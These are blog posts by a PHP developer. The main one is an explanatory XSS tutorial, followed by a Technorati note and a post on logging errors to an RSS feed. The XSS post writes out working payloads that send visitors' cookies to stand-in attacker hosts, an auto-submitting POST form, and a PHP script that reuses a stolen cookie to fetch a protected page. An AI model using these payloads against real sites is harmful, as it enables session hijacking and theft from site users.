XSS Attack

Cross site scripting(XSS) is relatively common problem in web application security but they are extremely dangerous. Rather than attacking the server directly they user a vulnerable web page to attack one of its users. This can lead to extreme difficulty in tracking attackers, when requests are not fully logged. Lets go in deep and find out how an vulnerable web page leads to an XSS attack? And how to make sure that there are no space left for XSS attack in the web sites we develop.

Then lets see how an XSS attack works? XSS attacks are results of flaws in server side web applications (that’s what we do…) and are rooted in user inputs which are not properly validated. For a example think about a PHP page named hello.php which is used to echo a parameter send to that file.

If you simply pass

hello.php?name=Praveen Gunasekara

Then the page will give you the expected result of printing the name. but guess what will happen if we send HTML tags on that request. For example.

hello.php?name=<ul><li>Praveen</li><li>Gunasekara</li></ul>

the input is not validated by the script before rendering by the victim’s web browser. And think about situations where we save the un-validated parameters into a database or a binary file and retrieved later to rendered on the page.

for the moment you might be wondering so what is Risk involved? think if the attacker can pass HTML tags it means he can easily pass <script> tags. then lets discuss how the attack works. as we all know we only submit data either by GET or the POST method. attacking through the GET method is the easiest and at the same time noisiest. because all most every web server logs all its URI requests.

so the simplest thing an attacker can do with javascript is to change the location of the window.

hello.php?name=<script>document.location.replace('http://attack/spam')</script>

but with the nature of XSS attacks the attacker him self cannot do any harms to other users. what he can only do is to wait till someone else connects to that page. so when someone else clicks in to this page he will be automatically redirected to some other page.

and now think about hi-jacking the user's whole session with this kind of attack. it's not harder as it sounds. what the attacker has to do is just to change the href of a particular link.

hello.php?name=<script>document.location.replace('http://attack/spam?c='%2Bdocument.cookie)</script>

so now you might say that the POST method is far more safer because the end user cannot see the parameters we are parsing from the script.

you are wrong. it is bit harder to attack on POST method. because to do that you need an intermediate web page having those parameters which are identically same to the form on the original page. for example,

<form name=f method=POST action=”http://host/hello.php”>
<input type=hidden name=”name” value=”<script>document.location.replace(‘http://attacker/payload?c=’+document.cookie)≪/script>”>
</form>
<script>f.submit()</script>

and rather than jumping the code, he might decide to change the look and feel and layout of the web page thats being attacked. but once he redirects the page to his own page there are several harmful things that can be done. for example the following code can log visitors IP, reffer and the sensitive information saved on the header.

and once the attacker has the list of IP's and cookies, he can write an automated script to connect to the IP with that session details, and to change the sensitive information there. the code below shows how to download the source code of a PHP file in the server.

<?php
$request = "GET /secret.php HTTP/1.0\r\n";
$request .= "Cookie: {$HTTP_GET_VARS['c']}\r\n";
$request .= "\r\n";
$s = fsockopen("host", 80, $errno, $errstr, 30);
fputs($s, $request);
$content = '';
while (!feof($s))
{
$content .= fgets($s, 4096);
}
fclose($s);
echo $content;
?>

and following example code shows how override a PHP file in the server.

so finally i hope everyone of us understood how dangerous XSS attacks can be and how we should write our web application with much more security capable.

Praveen Gunasekara.

My technorati profile

so today i've signed up for a new account at technorati. this is the link to my profile page.

My Technorati Profile

lets see how this going to help me out.

~Praveen Gunasekara

error handling system for web applications

managing web applications have never been so easy. the external / internal errors which occurs all the time due to DB connection failure or some other 3rd party service connection failure which are so hard to predict.

i was always been thinking about this issue. many experts suggested that we should e-mail the error with relevant information to sys administrator or someone who's responsible. but sometimes it is not so easy to do so. because most of the time the errors are reciprocal (means one error leads to another and it leads to another and the chain continues)

and by the way most of the people now use RSS feeds to get to know what is happening all over the internet rather than searching and browsing the web.

so what i was thinking about is to log all the errors in a database table rather than the plain text file. to accomplish that task in PHP you can simply use the function set_error_handler and from there define a function which can insert that specific errors details into the DB. after that we can have separate PHP file which can generate a dynamic RSS file containing the latest error messages on request and which supports some kind of authentication.

and simply from there onwards you can add that link to your favorite RSS reader, and then you can be simply informed about all those error messages which occurred within the application you provided to the customer.

and if you wish to further this error handling system you can separate FATAL errors, WARNINGS and NOTICES or a custom clarification of all the error messages.

praveen gunasekara.
"technology reinvented"